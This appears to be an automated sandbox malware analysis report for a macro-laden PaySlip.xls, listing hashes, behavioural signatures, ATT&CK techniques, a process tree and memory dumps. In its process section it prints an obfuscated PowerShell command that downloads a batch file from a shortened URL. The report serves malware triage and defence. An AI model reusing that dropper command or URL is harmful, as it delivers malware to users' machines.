3f97ea67ea560c851c589e4b7161f60ece5c390a9e194818b30987b212434c06

General

Target

PaySlip.xls
Size

157KB
MD5

3202c4586c4991c9f5312238f7577d8e
SHA1

10291ff94dbce8eda7aa9ede69bf984a084b8b9e
SHA256

3f97ea67ea560c851c589e4b7161f60ece5c390a9e194818b30987b212434c06
SHA512

ebe2a28ac003935a61b9795b39aa34324d275aed8340263d9566b6068cbe813e979f28b6243d9115bbd2d23988a161129675aaa33281b855399b15ffb4aa1691

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/fjYtydH

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1988	1152	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 1776 powershell.exe
9 1776 powershell.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
7	1776	powershell.exe
9	1776	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1152 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1776 powershell.exe
1776 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1776 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1152 EXCEL.EXE
1152 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1152 EXCEL.EXE
1152 EXCEL.EXE
1152 EXCEL.EXE

pid	process
1152	EXCEL.EXE

pid	process
1776	powershell.exe
1776	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1776	powershell.exe

pid	process
1152	EXCEL.EXE
1152	EXCEL.EXE

pid	process
1152	EXCEL.EXE
1152	EXCEL.EXE
1152	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1152 wrote to memory of 1988	1152	EXCEL.EXE	cmd.exe
PID 1152 wrote to memory of 1988	1152	EXCEL.EXE	cmd.exe
PID 1152 wrote to memory of 1988	1152	EXCEL.EXE	cmd.exe
PID 1152 wrote to memory of 1988	1152	EXCEL.EXE	cmd.exe
PID 1988 wrote to memory of 1776	1988	cmd.exe	powershell.exe
PID 1988 wrote to memory of 1776	1988	cmd.exe	powershell.exe
PID 1988 wrote to memory of 1776	1988	cmd.exe	powershell.exe
PID 1988 wrote to memory of 1776	1988	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PaySlip.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\SysWOW64\cmd.exe
cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://cutt.ly/fjYtydH','a.bat')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://cutt.ly/fjYtydH','a.bat')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1152-2-0x000000002F0C1000-0x000000002F0C4000-memory.dmp

Filesize
12KB

Download
memory/1152-3-0x0000000071191000-0x0000000071193000-memory.dmp

Filesize
8KB

Download
memory/1152-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1776-10-0x00000000048C0000-0x00000000048C1000-memory.dmp

Filesize
4KB

Download
memory/1776-12-0x0000000004882000-0x0000000004883000-memory.dmp

Filesize
4KB

Download
memory/1776-7-0x00000000760C1000-0x00000000760C3000-memory.dmp

Filesize
8KB

Download
memory/1776-8-0x000000006C1B0000-0x000000006C89E000-memory.dmp

Filesize
6.9MB

Download
memory/1776-9-0x00000000009C0000-0x00000000009C1000-memory.dmp

Filesize
4KB

Download
memory/1776-32-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/1776-11-0x0000000004880000-0x0000000004881000-memory.dmp

Filesize
4KB

Download
memory/1776-6-0x0000000000000000-mapping.dmp

Download
memory/1776-13-0x0000000002510000-0x0000000002511000-memory.dmp

Filesize
4KB

Download
memory/1776-14-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1776-17-0x0000000006080000-0x0000000006081000-memory.dmp

Filesize
4KB

Download
memory/1776-22-0x00000000060C0000-0x00000000060C1000-memory.dmp

Filesize
4KB

Download
memory/1776-23-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1776-24-0x0000000006130000-0x0000000006131000-memory.dmp

Filesize
4KB

Download
memory/1776-31-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

Download
memory/1988-5-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads